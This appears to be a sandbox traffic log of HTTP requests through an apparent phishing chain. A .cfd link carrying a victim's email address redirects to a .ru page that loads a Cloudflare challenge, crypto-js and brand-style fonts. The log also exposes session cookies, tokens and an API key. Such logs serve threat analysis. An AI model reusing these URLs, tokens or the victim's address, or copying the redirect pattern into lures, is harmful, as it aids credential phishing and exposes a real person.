Source: global traffic	HTTP traffic detected: GET /ZjX1jjH665po2eLWW4jUSX8dmHCiktf6EX3xLegnkHru7azBspqpI3HHJRL6zitPIxqw1QQxPmLmcOszAVyCfKIrtjiI8tYm56RIpdI6HaV0VxndlG9qHqUKgPdLD2BpDwL4k1t1RzIBqGsxlCwfxVrFjJFJ7n0hI85JeWTalF25uHyajC29LhTRArSsIYYQ7DLvDHkC/xdn6Amz86w9Iq48wEajbZ8edVzLxz9pFm4UQdwieOLoU1rihTpEvBsQOA2ZXBAfSuyCgRB1OGZNOWCvqGvbacXoDy1M5oCuV537wGGg1iJDkXcMmlwn0CCeFhOvVc3kz7EcXl2qTb5blUMuBtAGoiGUp434J189cPjIxtcSIhjVHEwxR3z97EPecZC8ozSCIy9qGXePx/t.mack@ruhlamat.de HTTP/1.1Host: a7hz6ilpu3.woofradio.cfdConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&gs_rn=42&sugkey=AIzaSyA2KlwBX3mkFo30om9LUFYQhpqLoa_BNhE HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEI0qDKAQig4coBCJOhywEInP7MAQiFoM0BCL7VzgEIgNbOAQjI3M4BCIrgzgEIx+HOAQiu5M4BCIvlzgE=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pax6lf1/ HTTP/1.1Host: ruhlamat.brightnexst.ruConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://a7hz6ilpu3.woofradio.cfd/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://ruhlamat.brightnexst.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://ruhlamat.brightnexst.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://ruhlamat.brightnexst.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/f3b948d8acb8/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://ruhlamat.brightnexst.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://ruhlamat.brightnexst.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=Wu9EgPOROElVW1fT05iQYIGL6QOqfO4vVs48kopPgXM-1742285426-1.0.1.1-jMryFsWmIpFc7OqAbK9XdPb1btoY_jUDMLoYx_9B7F3uZ5SiJPz0Nke51ca1.cfhaHqrWke2qxNK4UyhsaoWuUKyV008faXWnCPRw08OWRI
Source: global traffic	HTTP traffic detected: GET /gando!js8tp4k HTTP/1.1Host: fobf2.qxwhvv.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Origin: https://ruhlamat.brightnexst.ruSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ruhlamat.brightnexst.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /gando!js8tp4k HTTP/1.1Host: fobf2.qxwhvv.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pax6lf1/ HTTP/1.1Host: ruhlamat.brightnexst.ruConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://ruhlamat.brightnexst.ru/pax6lf1/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImJEVklEK0FYTUc2cndWYXV3dVZPVWc9PSIsInZhbHVlIjoiaTVMdjhyZkFxcVk0NkNDamFLbFB4bWdxSkhyUkNrSm1jMWdSYTA1ankzRVFsVSt2M1REUzVLRXlONllFNVRKNFFEcVlVQWwzd0FmWklnT3E4Tkx4UkdXRVhzTVhxeHBwQllCd3VPOEhoSUxsZnhpeit5bnJRQlJmRFZRRXRVV1MiLCJtYWMiOiI3NDBkYWU3M2FhMjJlZmY1MjE5ODU4YjUzZDJhYTJiNWQ4ODk3YmUzNjY0NmEyZWM1NzdhNTk0MDU1YzhiMTI2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Im9kVUpCOGlzZkVWY0hiWEc3aWcxb2c9PSIsInZhbHVlIjoiMDlBN29NUzVUTERPUjI5TTN2RjVjUFJTYlk3aWU1NU12U0k5bTFiZ0hpRFVSRE9JbGdya2hWb0EzZWNmZjVhSTNLMjBSVURvQjZyTzR6QWI2V3VzVGNrZmNra2NRNTZCYW4zT2NXM3ZSS3VMUnVLMEx3UXAyaUQxTkFSc2tnTCsiLCJtYWMiOiI1NWJhM2FmMzkyZGVhZDRlM2E0NGFmZDE2MTM1YWFlYjgyYzVjNTVmNTA5ZGQ0Y2UwYzZkNzhmOWFhZTY5Y2E4IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /nmRYy4ssaQWPj7CPMYEm8BmTefH6bqt1U8Yw5 HTTP/1.1Host: ruhlamat.brightnexst.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImJEVklEK0FYTUc2cndWYXV3dVZPVWc9PSIsInZhbHVlIjoiaTVMdjhyZkFxcVk0NkNDamFLbFB4bWdxSkhyUkNrSm1jMWdSYTA1ankzRVFsVSt2M1REUzVLRXlONllFNVRKNFFEcVlVQWwzd0FmWklnT3E4Tkx4UkdXRVhzTVhxeHBwQllCd3VPOEhoSUxsZnhpeit5bnJRQlJmRFZRRXRVV1MiLCJtYWMiOiI3NDBkYWU3M2FhMjJlZmY1MjE5ODU4YjUzZDJhYTJiNWQ4ODk3YmUzNjY0NmEyZWM1NzdhNTk0MDU1YzhiMTI2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Im9kVUpCOGlzZkVWY0hiWEc3aWcxb2c9PSIsInZhbHVlIjoiMDlBN29NUzVUTERPUjI5TTN2RjVjUFJTYlk3aWU1NU12U0k5bTFiZ0hpRFVSRE9JbGdya2hWb0EzZWNmZjVhSTNLMjBSVURvQjZyTzR6QWI2V3VzVGNrZmNra2NRNTZCYW4zT2NXM3ZSS3VMUnVLMEx3UXAyaUQxTkFSc2tnTCsiLCJtYWMiOiI1NWJhM2FmMzkyZGVhZDRlM2E0NGFmZDE2MTM1YWFlYjgyYzVjNTVmNTA5ZGQ0Y2UwYzZkNzhmOWFhZTY5Y2E4IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /prkxyeslqhqbklcuenqPORQSII20JW0WOYTG1D4UBBK?RRSIMQRMVOBPPETIPBNPYR HTTP/1.1Host: ruhlamat.brightnexst.ruConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://ruhlamat.brightnexst.ru/pax6lf1/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjFpQmpYUklyYXdQV2lpaEMzK1BUN1E9PSIsInZhbHVlIjoiaXNFdlc1akMzMHpLa0NiK2xsbHZiaWdzSmVSeHcreGw4WS9jb3lhTld3TnZnQ3NBWjBmZHVxVEJHdTdZd0VGVmp4MFFtUGtFMDlCUWorWVNZOGxMSmZRY0pvbC9lajVYWXZic09ZRHJQbFFtNFlTTVVFdVpnN2Q1Q2Uzb1NiTmgiLCJtYWMiOiI1ZjMxMjFiY2QxYWFjODMxMmFkNWM3Yzc5MjZlMmQ5MDE5NjhkMDc4NjZhNTA4ODliMzQwOGNjYTM1MzBmYzYxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik9XcjgwdnBlYTdrKy9hK3BVZHlTNFE9PSIsInZhbHVlIjoiZ3c0dGVkSVJ6ZnpzbzV4M3ZDM0pCcUpKZVU0eTZBZDJrVnl3d2E0V3JRLy9DRGJmZ0Y2aWszQWtFWUlHQVZ6dlJpcjNOa3FrdFJMREJ1dSs4OGQ4WG9xakh2YjJreGhmNnZHL044czdqOG1Kb2VvVHpOOFUrVGlaMmdNY1YwNDEiLCJtYWMiOiJjNDQ4YmU5YzZjZTk0NTEzODk1NTg1NDFmMTY2YzZkYWY3ZDk5NjA1MzUwN2EzZDZkMGM2ZjgyYWRkMjM4MzliIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /kfgf9NVduennDi1yqDND8qxTJhYwqYeNbTZluQbAplgy HTTP/1.1Host: ruhlamat.brightnexst.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjFpQmpYUklyYXdQV2lpaEMzK1BUN1E9PSIsInZhbHVlIjoiaXNFdlc1akMzMHpLa0NiK2xsbHZiaWdzSmVSeHcreGw4WS9jb3lhTld3TnZnQ3NBWjBmZHVxVEJHdTdZd0VGVmp4MFFtUGtFMDlCUWorWVNZOGxMSmZRY0pvbC9lajVYWXZic09ZRHJQbFFtNFlTTVVFdVpnN2Q1Q2Uzb1NiTmgiLCJtYWMiOiI1ZjMxMjFiY2QxYWFjODMxMmFkNWM3Yzc5MjZlMmQ5MDE5NjhkMDc4NjZhNTA4ODliMzQwOGNjYTM1MzBmYzYxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik9XcjgwdnBlYTdrKy9hK3BVZHlTNFE9PSIsInZhbHVlIjoiZ3c0dGVkSVJ6ZnpzbzV4M3ZDM0pCcUpKZVU0eTZBZDJrVnl3d2E0V3JRLy9DRGJmZ0Y2aWszQWtFWUlHQVZ6dlJpcjNOa3FrdFJMREJ1dSs4OGQ4WG9xakh2YjJreGhmNnZHL044czdqOG1Kb2VvVHpOOFUrVGlaMmdNY1YwNDEiLCJtYWMiOiJjNDQ4YmU5YzZjZTk0NTEzODk1NTg1NDFmMTY2YzZkYWY3ZDk5NjA1MzUwN2EzZDZkMGM2ZjgyYWRkMjM4MzliIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: ruhlamat.brightnexst.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ruhlamat.brightnexst.ru/pax6lf1/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Imgwc1Z3elN2QVRaMGp4TnRNczBhVGc9PSIsInZhbHVlIjoiam9jRW9BYVM3UlEvUG1TTk9tWGh6QVR0UzN6TGsvSmlBcnhSSnpjNEZQOVZWUVg5dWpPd2dCdkZsOEd4cHVhUkFVL2syM0MxMmFkTUV1VkJFUnFtQW1RTWcwK2pkc21QMUZlS21yUUtacERYOHlESFR3aUErUWFwRGtJd3VSdU8iLCJtYWMiOiIwMjdhYmIwYzZkOThiNDhmNjAzMDE5OTE2OTUyMTE5YzIyNWUwNDcwZGMwODcxYTIwYjAwZTRhNjYwOTE5OTFmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjhLSEErUFB2UithVWpkZm5qRXVsMnc9PSIsInZhbHVlIjoiQW1IQ2pDTmk0WndRRCs1WHgrdHIxeWVFVXh6dXhiUmRpWWVJekxMaFVscGJjQTJCZ2ZUZ1RFUXJWNkhxdlJUbXZJVWVmMmRXdmZPYkRBczdKbnpqK2ZwQ2p2ZGhwMi9UbGVpSE9nNmlJdlA5SmdTa2I3MjdsMzdEeFN0VWdxRXkiLCJtYWMiOiI4YTljNTUyNjI2YWE2YmM0ZDUxM2I5NDk5MjI5NTk0NTA5YjNmNWU4NTZjMzY5OWJmZjY1MzkwZjk4YWQxYmJhIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /125ieYh7HUVa8cdTlZ458920 HTTP/1.1Host: ruhlamat.brightnexst.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://ruhlamat.brightnexst.ru/prkxyeslqhqbklcuenqPORQSII20JW0WOYTG1D4UBBK?RRSIMQRMVOBPPETIPBNPYRAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlcydXNSNXhXb01SRytNZ2lYTlEyZlE9PSIsInZhbHVlIjoicFlWbHYxOU1FSnBGSjZGcVc1Wld5K2hoUVlNM0xQTGsxRndGdFVleFgxWm1TbGl1ejNzWVhFK3ZsWDZIMy9KZFd2TFBNZjc1cng0TXdmdER6cTRCbUxRaCtIQXpZREpRdWt1YlZmamh6bncxTCtUWi9tLzl6Y3lpeHAwVGNSRWkiLCJtYWMiOiIxMDYwN2ZlYzA2MWYwMTgxYTY0ZTllMjRmMDI2NmI1YTE5MzMwMjUxMTI3NzAwOTgzNjQ4ZTc0NjVkMjQ0MmZlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNTbVVIdHNoL3BaVlVkVjdrUWVTWkE9PSIsInZhbHVlIjoid3pFaElZcVZjTFV1ZkNnQkluUmRRVnpLRnM0QWZ0VzhMQi9hUFQwQ0ZpYnMvNHVKVUFQOTZjRkxlN2RTRW5RWWppQ3lyYlpHY0lTRlJMQ2t6bWlObFVqTkJHM1locE1KOVNVV05tbmlwMkF4NWlXKzRRelJqMGVxRFVIZW9xVGgiLCJtYWMiOiJkYTFkMjMwMGY4YzE0OWIxYTQ5NTBhNzg1N2Y3MTcxMTIxNjFkMWYzNjZhMGZiYmU5ODI1Mzg1ZWFjYmVhMTExIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /abbk3UUlyibKbrswXgh27 HTTP/1.1Host: ruhlamat.brightnexst.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://ruhlamat.brightnexst.ru/prkxyeslqhqbklcuenqPORQSII20JW0WOYTG1D4UBBK?RRSIMQRMVOBPPETIPBNPYRAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlcydXNSNXhXb01SRytNZ2lYTlEyZlE9PSIsInZhbHVlIjoicFlWbHYxOU1FSnBGSjZGcVc1Wld5K2hoUVlNM0xQTGsxRndGdFVleFgxWm1TbGl1ejNzWVhFK3ZsWDZIMy9KZFd2TFBNZjc1cng0TXdmdER6cTRCbUxRaCtIQXpZREpRdWt1YlZmamh6bncxTCtUWi9tLzl6Y3lpeHAwVGNSRWkiLCJtYWMiOiIxMDYwN2ZlYzA2MWYwMTgxYTY0ZTllMjRmMDI2NmI1YTE5MzMwMjUxMTI3NzAwOTgzNjQ4ZTc0NjVkMjQ0MmZlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNTbVVIdHNoL3BaVlVkVjdrUWVTWkE9PSIsInZhbHVlIjoid3pFaElZcVZjTFV1ZkNnQkluUmRRVnpLRnM0QWZ0VzhMQi9hUFQwQ0ZpYnMvNHVKVUFQOTZjRkxlN2RTRW5RWWppQ3lyYlpHY0lTRlJMQ2t6bWlObFVqTkJHM1locE1KOVNVV05tbmlwMkF4NWlXKzRRelJqMGVxRFVIZW9xVGgiLCJtYWMiOiJkYTFkMjMwMGY4YzE0OWIxYTQ5NTBhNzg1N2Y3MTcxMTIxNjFkMWYzNjZhMGZiYmU5ODI1Mzg1ZWFjYmVhMTExIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-bold.woff2 HTTP/1.1Host: ruhlamat.brightnexst.ruConnection: keep-aliveOrigin: https://ruhlamat.brightnexst.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://ruhlamat.brightnexst.ru/prkxyeslqhqbklcuenqPORQSII20JW0WOYTG1D4UBBK?RRSIMQRMVOBPPETIPBNPYRAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlcydXNSNXhXb01SRytNZ2lYTlEyZlE9PSIsInZhbHVlIjoicFlWbHYxOU1FSnBGSjZGcVc1Wld5K2hoUVlNM0xQTGsxRndGdFVleFgxWm1TbGl1ejNzWVhFK3ZsWDZIMy9KZFd2TFBNZjc1cng0TXdmdER6cTRCbUxRaCtIQXpZREpRdWt1YlZmamh6bncxTCtUWi9tLzl6Y3lpeHAwVGNSRWkiLCJtYWMiOiIxMDYwN2ZlYzA2MWYwMTgxYTY0ZTllMjRmMDI2NmI1YTE5MzMwMjUxMTI3NzAwOTgzNjQ4ZTc0NjVkMjQ0MmZlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNTbVVIdHNoL3BaVlVkVjdrUWVTWkE9PSIsInZhbHVlIjoid3pFaElZcVZjTFV1ZkNnQkluUmRRVnpLRnM0QWZ0VzhMQi9hUFQwQ0ZpYnMvNHVKVUFQOTZjRkxlN2RTRW5RWWppQ3lyYlpHY0lTRlJMQ2t6bWlObFVqTkJHM1locE1KOVNVV05tbmlwMkF4NWlXKzRRelJqMGVxRFVIZW9xVGgiLCJtYWMiOiJkYTFkMjMwMGY4YzE0OWIxYTQ5NTBhNzg1N2Y3MTcxMTIxNjFkMWYzNjZhMGZiYmU5ODI1Mzg1ZWFjYmVhMTExIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-bold.woff HTTP/1.1Host: ruhlamat.brightnexst.ruConnection: keep-aliveOrigin: https://ruhlamat.brightnexst.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://ruhlamat.brightnexst.ru/prkxyeslqhqbklcuenqPORQSII20JW0WOYTG1D4UBBK?RRSIMQRMVOBPPETIPBNPYRAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlcydXNSNXhXb01SRytNZ2lYTlEyZlE9PSIsInZhbHVlIjoicFlWbHYxOU1FSnBGSjZGcVc1Wld5K2hoUVlNM0xQTGsxRndGdFVleFgxWm1TbGl1ejNzWVhFK3ZsWDZIMy9KZFd2TFBNZjc1cng0TXdmdER6cTRCbUxRaCtIQXpZREpRdWt1YlZmamh6bncxTCtUWi9tLzl6Y3lpeHAwVGNSRWkiLCJtYWMiOiIxMDYwN2ZlYzA2MWYwMTgxYTY0ZTllMjRmMDI2NmI1YTE5MzMwMjUxMTI3NzAwOTgzNjQ4ZTc0NjVkMjQ0MmZlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNTbVVIdHNoL3BaVlVkVjdrUWVTWkE9PSIsInZhbHVlIjoid3pFaElZcVZjTFV1ZkNnQkluUmRRVnpLRnM0QWZ0VzhMQi9hUFQwQ0ZpYnMvNHVKVUFQOTZjRkxlN2RTRW5RWWppQ3lyYlpHY0lTRlJMQ2t6bWlObFVqTkJHM1locE1KOVNVV05tbmlwMkF4NWlXKzRRelJqMGVxRFVIZW9xVGgiLCJtYWMiOiJkYTFkMjMwMGY4YzE0OWIxYTQ5NTBhNzg1N2Y3MTcxMTIxNjFkMWYzNjZhMGZiYmU5ODI1Mzg1ZWFjYmVhMTExIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-regular.woff2 HTTP/1.1Host: ruhlamat.brightnexst.ruConnection: keep-aliveOrigin: https://ruhlamat.brightnexst.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://ruhlamat.brightnexst.ru/prkxyeslqhqbklcuenqPORQSII20JW0WOYTG1D4UBBK?RRSIMQRMVOBPPETIPBNPYRAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: 